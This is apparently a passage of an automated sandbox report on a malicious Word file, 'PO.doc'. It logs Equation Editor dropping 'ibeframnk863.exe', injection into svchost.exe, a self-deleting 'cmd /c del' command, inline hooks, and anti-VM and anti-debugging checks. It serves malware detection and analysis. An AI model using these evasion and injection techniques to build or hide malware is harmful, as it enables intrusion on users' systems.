Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFFB4 NtCreateSection,LdrInitializeThunk, 8_2_009FFFB4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A010D0 NtOpenProcessToken, 8_2_00A010D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A00060 NtQuerySection, 8_2_00A00060
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A00078 NtResumeThread, 8_2_00A00078
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A00048 NtProtectVirtualMemory, 8_2_00A00048
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A001D4 NtSetValueKey, 8_2_00A001D4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A0010C NtOpenDirectoryObject, 8_2_00A0010C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A01148 NtOpenThread, 8_2_00A01148
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FF8CC NtWaitForSingleObject, 8_2_009FF8CC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A01930 NtSetContextThread, 8_2_00A01930
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FF938 NtWriteFile, 8_2_009FF938
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFA20 NtQueryInformationFile, 8_2_009FFA20
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFA50 NtEnumerateValueKey, 8_2_009FFA50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFBE8 NtQueryVirtualMemory, 8_2_009FFBE8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFC90 NtUnmapViewOfSection, 8_2_009FFC90
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFC30 NtOpenProcess, 8_2_009FFC30
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFC48 NtSetInformationFile, 8_2_009FFC48
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A00C40 NtGetContextThread, 8_2_00A00C40
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A01D80 NtSuspendThread, 8_2_00A01D80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFD5C NtEnumerateKey, 8_2_009FFD5C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFEA0 NtReadVirtualMemory, 8_2_009FFEA0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFE24 NtWriteVirtualMemory, 8_2_009FFE24
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFFFC NtCreateProcessEx, 8_2_009FFFFC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFF34 NtQueueApcThread, 8_2_009FFF34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009A350 NtCreateFile, 8_2_0009A350
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009A400 NtReadFile, 8_2_0009A400
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009A480 NtClose, 8_2_0009A480
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009A530 NtAllocateVirtualMemory, 8_2_0009A530
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009A34A NtCreateFile, 8_2_0009A34A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009A3A3 NtReadFile, 8_2_0009A3A3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009A47A NtClose, 8_2_0009A47A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009A52B NtAllocateVirtualMemory, 8_2_0009A52B
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: ibefrankszx[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: ibeframnk863.exe.2.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: PO.doc Virustotal: Detection: 43%
Source: PO.doc ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Roaming\ibeframnk863.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Roaming\ibeframnk863.exe' Jump to behavior
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$PO.doc Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRE2CF.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winDOC@12/8@3/3
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll Jump to behavior
Source: explorer.exe, 00000007.00000000.433579752.0000000002AE0000.00000002.00020000.sdmp Binary or memory string: .VBPud<_
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: wntdll.pdb source: ibeframnk863.exe, svchost.exe
Source: Binary string: svchost.pdb source: ibeframnk863.exe, 00000006.00000002.505477626.00000000006A1000.00000004.00000020.sdmp

Data Obfuscation:

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.NET source code contains potential unpacker
Source: ibefrankszx[1].exe.2.dr, Castle.Samples.Extensibility/UI/ApplicationShell.cs .Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: ibeframnk863.exe.2.dr, Castle.Samples.Extensibility/UI/ApplicationShell.cs .Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/ApplicationShell.cs .Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.2.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/ApplicationShell.cs .Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/ApplicationShell.cs .Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/ApplicationShell.cs .Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 4_2_002E6B84 push dword ptr [ebp-17000000h]; iretd 4_2_002E6B8A
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 4_2_002E4DE8 pushfd ; retf 4_2_002E4DE9
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0040E3CE push esi; iretd 6_2_0040E3D6
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00417C03 push edi; iretd 6_2_00417C19
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0040E419 push ds; ret 6_2_0040E41C
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041D4F2 push eax; ret 6_2_0041D4F8
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041D4FB push eax; ret 6_2_0041D562
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00417C80 push edi; iretd 6_2_00417C19
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041D4A5 push eax; ret 6_2_0041D4F8
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041D55C push eax; ret 6_2_0041D562
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A0DFA1 push ecx; ret 8_2_00A0DFB4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0008E3CE push esi; iretd 8_2_0008E3D6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0008E419 push ds; ret 8_2_0008E41C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009D4A5 push eax; ret 8_2_0009D4F8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009D4FB push eax; ret 8_2_0009D562
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009D4F2 push eax; ret 8_2_0009D4F8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009D55C push eax; ret 8_2_0009D562
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009D7C1 pushfd ; iretd 8_2_0009D7C2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00097C03 push edi; iretd 8_2_00097C19
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00097C80 push edi; iretd 8_2_00097C19
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009DD5E push eax; ret 8_2_0009DD60
Source: initial sample Static PE information: section name: .text entropy: 7.14505383023
Source: initial sample Static PE information: section name: .text entropy: 7.14505383023

Persistence and Installation Behavior:

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Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\ibeframnk863.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\ibefrankszx[1].exe Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

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Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: USER32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8C 0xCE 0xE9
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

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Yara detected AntiVM3
Source: Yara match File source: 00000004.00000002.420274782.0000000002491000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: ibeframnk863.exe PID: 2800, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: ibeframnk863.exe, 00000004.00000002.420274782.0000000002491000.00000004.00000001.sdmp Binary or memory string: SBIEDLL.DLL
Source: ibeframnk863.exe, 00000004.00000002.420274782.0000000002491000.00000004.00000001.sdmp Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe RDTSC instruction interceptor: First address: 0000000000409B6E second address: 0000000000409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\svchost.exe RDTSC instruction interceptor: First address: 0000000000089904 second address: 000000000008990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\svchost.exe RDTSC instruction interceptor: First address: 0000000000089B6E second address: 0000000000089B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2548 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2548 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe TID: 668 Thread sleep time: -37510s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe TID: 1232 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 1188 Thread sleep time: -34000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 2836 Thread sleep time: -36000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\svchost.exe Last function: Thread delayed
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00409AA0 rdtsc 6_2_00409AA0
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Thread delayed: delay time: 37510 Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: explorer.exe, 00000007.00000000.467550341.000000000456F000.00000004.00000001.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000007.00000000.421707245.0000000000255000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: ibeframnk863.exe, 00000004.00000002.420274782.0000000002491000.00000004.00000001.sdmp Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: ibeframnk863.exe, 00000004.00000002.420274782.0000000002491000.00000004.00000001.sdmp Binary or memory string: vmware
Source: explorer.exe, 00000007.00000000.435525841.000000000449C000.00000004.00000001.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: explorer.exe, 00000007.00000000.467550341.000000000456F000.00000004.00000001.sdmp Binary or memory string: scsi\disk&ven_vmware&prod_virtual_disk\5&22be343f&0&000000
Source: explorer.exe, 00000007.00000000.467574386.000000000457A000.00000004.00000001.sdmp Binary or memory string: pciide\idechannel\5&12368b4a&0&7ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0acpi\pnp0a05\5cacpi\pnp0a05\25pciide\idech7
Source: explorer.exe, 00000007.00000000.446344659.00000000044E7000.00000004.00000001.sdmp Binary or memory string: ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0
Source: explorer.exe, 00000007.00000000.421757574.000000000029B000.00000004.00000020.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0*N
Source: explorer.exe, 00000007.00000000.467666466.00000000045CF000.00000004.00000001.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: ibeframnk863.exe, 00000004.00000002.420274782.0000000002491000.00000004.00000001.sdmp Binary or memory string: VMware SVGA II
Source: ibeframnk863.exe, 00000004.00000002.420274782.0000000002491000.00000004.00000001.sdmp Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Anti Debugging:

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Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00409AA0 rdtsc 6_2_00409AA0
Enables debug privileges
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A826F8 mov eax, dword ptr fs:[00000030h] 6_2_00A826F8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A126F8 mov eax, dword ptr fs:[00000030h] 8_2_00A126F8
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process queried: DebugPort Jump to behavior
